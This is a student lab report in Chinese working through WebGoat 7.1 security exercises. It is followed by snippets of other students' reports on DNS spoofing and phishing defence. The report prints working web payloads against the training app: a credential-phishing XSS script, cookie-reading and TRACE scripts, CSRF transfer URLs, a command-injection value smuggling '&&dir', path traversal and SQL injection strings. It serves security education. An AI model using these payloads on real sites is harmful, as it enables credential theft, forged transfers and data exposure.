2017-2018 Exp9 网络欺诈技术防范 20155214

Exp9 网络欺诈技术防范



[TOC]

实验内容

实验环境

  • 主机 Kali

实验工具

  • 平台 webgoat

Webgoat

webgoat下载安装

首先,下载地址:

https://s3.amazonaws.com/webgoat-war/webgoat-container-7.1-war-exec.jar

或者去github上也可以。

其次,cd切换到下载目录:

[email protected]:~/下载# java -jar webgoat-container-7.1-war-exec.jar

注意,webgoat服务器占用本地8080端口,需要先把该端口腾出来。

然后,访问本地8080端口:

http://localhost:8080/WebGoat

选择账号登录后即可开始练习,本次实验要求完成10个练习。

  • 要开始刷Web漏洞了,好激动啊

General

Http Basics

看得出这题应该是用来熟悉题型的,user可以尝试hint,检查request参数,前端代码以及代理等,达到理解题目的目的。

  • 既来之,hint之
1.Type in your name and press ‘go‘
2.turn on Show Parameters or other features
3.Try to intercept the request with OWASP ZAP
4.Press the Show Lesson Plan button to view a lesson summary
5.Press the Show Solution button to view a lesson solution
  • 在Enter your Name的input中输点什么,harry吧,然后Go!
  • 表面Congratulations.input框中已经如题所示反转,变为了yrrah
  • f12打开源码,可以看到表单提交的后台函数#attack/1869022003/100与url显示的相同
  • 然后Show source把后台代码贴上来了,在createContent(Websession s)中
    person = new StringBuffer(s.getParser().getStringParameter(PERSON, ""));
    //获取前端Input值
    person.reverse();
    //反转
  • 之后就算入门了,正式开始做题

Access Control Flaws

Using an Access Control Matrix

  • emmm..浏览题意,本题设计了一个基于角色的权限控制,并且Only the [Admin] group should have access to the ‘Account Manager‘ resource.,所以要求我们尝试获得Admin权限。
  • 粗略操作后发现,user表单中有4个用户,其中Shemp属于Admin组,允许访问Account Manager
  • 而后,可以发现Larry[User,Manager]被错误的赋予权限,以致于可以访问Account Manager
    ...
    if (!getRoles(user).contains("Admin") && resource.equals("Account Manager"))
                {
                    makeSuccess(s);
                }
                s.setMessage("User " + user + " " + credentials + " was allowed to access resource " + resource);
    //权限验证代码没有问题
    ...
        if (rl.contains(roles[1]))
        {
            list.add(resources[1]);
            list.add(resources[5]);
        }//roles[1]即Larry,resources[5]即Account Manager,此处权限赋予出现错误
    ...

    Bypass a Path Based Access Control Scheme

  • 本题要求我们尝试获得权限以访问list提供之外的文件,如WEB-INF/spring-security.xml
  • Hint中提示可利用相对路径访问
    Current Directory is: /root/.extract/webapps/WebGoat/plugin_extracted/plugin/BasicAuthentication/lessonPlans/en
    //在URL栏中输入可以打开文件目录,但只有BasicAuthentication.html一个文件
  • 利用BurpSuite打开代理,点击view之后拦截
    File=BasicAuthentication.html&SUBMIT=View+File
  • 将File改为../main.jsp,forward即可在页面访问,

Crossing-Site Scripting

Phishing with XSS

  • 阅读题意,在Search框中插入一段包括获取信息的js脚本的HTML代码,将获取到的信息转发到本地servlet。
  • 前端脚本见知识点
  • 成功后在页面内插入了两个input
This feature requires account login:

Enter Username:

Enter Password:

No results were found.
  • 输入了WebGoat的账号密码后,弹出一个alert

    attack.?????? Your credentials were just stolen. User Name = webgoat Password = webgoat
    //用户输入的账号信息已经被发给了本地服务器

Stored XSS Attacks

  • 简单浏览了一下,页面将会把提交的Message发布处来,因此可以提交一段带JS脚本的HTML文本。
  • 尝试一下
    Title:
    20155214
    Message:
    <script>alert("It is a simple stored XSS");</script>
  • 成功之后,在原本的位置
    Message Contents For: 20155214
    Title:  20155214
    Message:
    Posted by:  webgoat
    //Message为空,点开之后出现alert弹窗

Reflected XSS Attacks

  • 阅读题意,还是在input中添加一个JS脚本,当页面执行HTML文本时执行。
  • 查看hint,利用以下代码可以查看cookie
    <SCRIPT>alert(document.cookie);</SCRIPT>
  • 以下跨站脚本攻击通过调用ActiveXObject类,创建Xmlhttp对象

    ,可以将charge修改为商品总和

<script type="text/javascript">if ( navigator.appName.indexOf("Microsoft") !=-1){var xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");xmlHttp.open("TRACE", "./", false); xmlHttp.send();str1=xmlHttp.responseText; while (str1.indexOf("\n") > -1) str1 = str1.replace("\n","<br>"); document.write(str1);}</script>
The total charged to your credit card:  $1997.96    

Cross Site Request Forgery(CSRF)

  • 阅读题意,我们通过输入一条,插入IMG的JS脚本,其URL地址指向attack的servlet
  • 在Message中,以下JS脚本插入了一张不存在的图片
    <img src=‘attack?Screen=2078372&menu=900&transferFunds=5000‘>
  • 运行成功后,F12查看源码,发现Message位置已经插入了该html文本,该url已经被执行。

CSRF Prompt By-Pass

  • 阅读题意,URL应该使用此CSRF-prompt-by-pass课程的屏幕,菜单参数和具有数字值(例如“5000”)的额外参数“transferFunds”来指向攻击小服务程序,以启动传输和字符串值“CONFIRM” 完成它。 您可以从右侧的插图复制课程参数,创建格式为“attack?Screen = XXX&menu = YYY&transferFunds = ZZZ”的网址。 谁收到这封电子邮件,恰好在当时被认证,将有资金转移。
<iframe src="attack?Screen=1471017872&menu=900&transferFunds=400"> </iframe>
<iframe src="attack?Screen=1471017872&menu=900&transferFunds=CONFIRM"> </iframe>
  • 成功之后,可以看到在页面上伪造了一个资金转换的交互界面。

    Amount to transfer: 400
    CONFIRM | CANCEL

Injection Flaws

Command Injection

  • 阅读题意,尝试向操作系统注入一个命令。
  • 打开Burp Suite,抓一下包
    HelpFile
    修改为
    AccessControlMatrix.help"&&"dir

    -点击Go,即可获得

    <!-- Stop Instructions --><br>UserDatabase.mv.db           webgoat-container-7.1-exec.jar  ??  ??<br>VMwareTools-10.2.5-8068393.tar.gz  ??                 ??  ??<br>vmware-tools-distrib          ??                  ??  ??<br>Returncode: 0<br></pre></form></div>

Numeric SQL Injection

  • 阅读题意,要求我们修改页面上的SQL语句,来使服务器连接数据库输出所有天气信息
  • 正常情况下,SQL语句会按照station条件查询相关数据。

SELECT * FROM weather_data WHERE station = 101

  • 因此要求很简单,需要将数据库中的所有信息输出,删去条件即可
  • 打开Burp Suite,抓包会发现前端传输了station数据,因此我们将
    station=101&SUBMIT=Go!
    修改为
    station=101 or 1=1&SUBMIT=Go!
  • 构成了新的SQL语句SELECT * FROM weather_data WHERE station = 101 or 1=1,即查询条件为永真,输出weather_data中的所有数据。

String SQL Injection

  • 阅读题意,手工设置SQL字符串注入,获得SMITH的信用卡信息
  • 注入字符串‘ or ‘1‘=‘1,构成新SQL语句
    ELECT * FROM user_data WHERE last_name = ‘‘ or ‘1‘=‘1

    即条件为永真,搜索user_data中所有数据。


知识点

  • XSS脚本
<head>
<body>
<div>
<div style="float:left;height:100px;width:50%;background-color:green;"></div>
<div style="float:left;height:100px;width:50%;background-color:red;"></div>
</div>
<div style="background-color:blue;height:200px;clear:both;"></div>

</div></div>
</form>
  <script>
function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("attack.!!!!!! Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
  </script>
<form name="phish">
<br>
<br>
<HR>
  <H2>This feature requires account login:</H2>
<br>
  <br>Enter Username:<br>
  <input type="text" name="user">
  <br>Enter Password:<br>
  <input type="password" name = "pass">
<br>
  <input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
</body>
</head>


2017-2018 Exp9 网络欺诈技术防范 20155214

原文地址:https://www.cnblogs.com/besti155214/p/9108703.html

时间: 2024-08-29 09:37:17

2017-2018 Exp9 网络欺诈技术防范 20155214的相关文章

20145317彭垚《网络对抗》Exp7 网络欺诈技术防范

20145317彭垚<网络对抗>Exp7 网络欺诈技术防范 基础问题回答 通常在什么场景下容易受到DNS spoof攻击? 在同一局域网下比较容易受到DNS spoof攻击,攻击者可以冒充域名服务器,来发送伪造的数据包,从而修改目标主机的DNS缓存表,达到DNS欺骗的目的: 连公共场合的免费WiFi也容易受到攻击,尤其是那种不需要输入密码直接就可以连接的更加可疑. 在日常生活工作中如何防范以上两攻击方法? 可以将IP地址和MAC地址进行绑定,很多时候DNS欺骗攻击是以ARP欺骗为开端的,所以将

20145321 《网络对抗技术》 网络欺诈技术防范

20145321 <网络对抗技术>网络欺诈技术防范 实验过程 首先把kali的主机名改成自己学号 简单应用SET工具建立冒名网站 ping通kali和主机.为了使得apache开启后,靶机通过ip地址可以直接访问到网页,apache的监听端口号应该为80,对80端口进行查看与修改.查看80端口是否被占用,kill这个相应的进程. 输入命令:sudo vi /etc/apache2/ports.conf,修改apache的配置文件中的监听端口为80 输入命令:apachectl start打开a

20145326蔡馨熤《网络对抗》—— 网络欺诈技术防范

20145326蔡馨熤<网络对抗>-- 网络欺诈技术防范 1.实验后回答问题 (1)通常在什么场景下容易受到DNS spoof攻击. 通常情况下,计算机受到arp入侵攻击和DNS欺骗攻击,是由于局域网内某台或某几台计算机有毒造成的. 这种攻击非常危险,因为攻击者可能会利用这个技术在公共的wi-fi点上,入侵其他电脑.所以连接一些公共网络的时候,也要慎重. (2)在日常生活工作中如何防范以上两种攻击方法. 输入个人信息前,仔细检查核对域名是否正确. 使用入侵检测系统:只要正确配置和使用入侵检测系

20145211黄志远 《网络对抗》Exp7 网络欺诈技术防范

20145211黄志远 <网络对抗>Exp7 网络欺诈技术防范 本实践的目标理解常用网络欺诈背后的原理,以提高防范意识,并提出具体防范方法.具体有(1)简单应用SET工具建立冒名网站(2)ettercap DNS spoof(3)结合应用两种技术,用DNS spoof引导特定访问到冒名网站. 1.实验后回答问题 (1)通常在什么场景下容易受到DNS spoof攻击 共享WiFi中,尤其要注意不需要密码的WiFi,通常情况下一般是你身边的人 (2)在日常生活工作中如何防范以上两攻击方法 经常上的

20145306张文锦 网络欺诈技术防范

20145306张文锦 网络欺诈技术防范 实验过程 1.使用工具建立钓鱼网站 主机的ip地址为: 查看主机80端口的使用情况 ,找到其对应的pid,kill进程.  修改apache配置文件监听端口为80 新建终端进入setoolkit:选择社会工程学模块->网页攻击->. 选定ip地址为kali ip. xuan v (2) 2. DNS欺骗就是攻击者冒充域名服务器的一种欺骗行为,它并不是真的"黑掉"了对方的网站,而是冒名顶替.招摇撞骗罢了. DNS欺骗攻击是很难防御的,

20145216史婧瑶《网络对抗》网络欺诈技术防范

20145216史婧瑶<网络对抗>网络欺诈技术防范 实验问题回答 (1)通常在什么场景下容易受到DNS spoof攻击 攻击者能对在同一网段可以ping通的电脑发起DNS spoof攻击,所以一般在连接公用Wi-Fi的情况下电脑容易受到DNS spoof攻击. (2)在日常生活工作中如何防范以上两种攻击方法 1.尽量避免连接公用Wi-Fi2.在访问网站时注意观察它的IP地址 实验总结与体会 这次实验我遇到了许多问题,第一个是我做简单应用SET工具建立冒名网站这个实验的时候,第一次克隆的是腾讯页

20155202张旭 Exp7 网络欺诈技术防范

20155202张旭 Exp7 网络欺诈技术防范 基础问题回答 通常在什么场景下容易受到DNS spoof攻击? 在同一局域网下比较容易受到DNS spoof攻击,攻击者可以冒充域名服务器,来发送伪造的数据包,从而修改目标主机的DNS缓存表,达到DNS欺骗的目的: 连公共场合的免费WiFi也容易受到攻击,尤其是那种不需要输入密码直接就可以连接的更加可疑. 在日常生活工作中如何防范以上两攻击方法? 可以将IP地址和MAC地址进行绑定,很多时候DNS欺骗攻击是以ARP欺骗为开端的,所以将网关的IP地

20155236范晨歌 Exp7 网络欺诈技术防范

20155236范晨歌 Exp7 网络欺诈技术防范 虚拟机经常崩= =,所以基本上做一个实验换一个... 遇到了一个简单的小问题老师帮忙解决了:虚拟机没联网... 一.基础问题回答 通常在什么场景下容易受到DNS spoof攻击? 乱连没有密码的wifi,因为这样就会和连入局域网和该局域网中的各个主机都处于同一网段下了. 在日常生活工作中如何防范以上两攻击方法? URL攻击的防范主要就是打开网页的时候注意看其ip地址,事先可以通过gid命令和nslookup命令查看网站正确的ip地址,如果网站显

Exp7 网络欺诈技术防范

Exp7 网络欺诈技术防范 基础问题回答 1.通常在什么场景下容易受到DNS spoof攻击? 在同一局域网下比较容易受到DNS spoof攻击,攻击者可以冒充域名服务器,来发送伪造的数据包,从而修改目标主机的DNS缓存表,达到DNS欺骗的目的.连公共场合的免费WiFi也容易受到攻击. 2.在日常生活工作中如何防范以上两攻击方法? 很多时候DNS欺骗攻击是以ARP欺骗为开端的,所以将网关的IP地址和MAC地址静态绑定在一起,可以防范ARP欺骗,进而放止DNS spoof攻击.对于冒名网站,要做到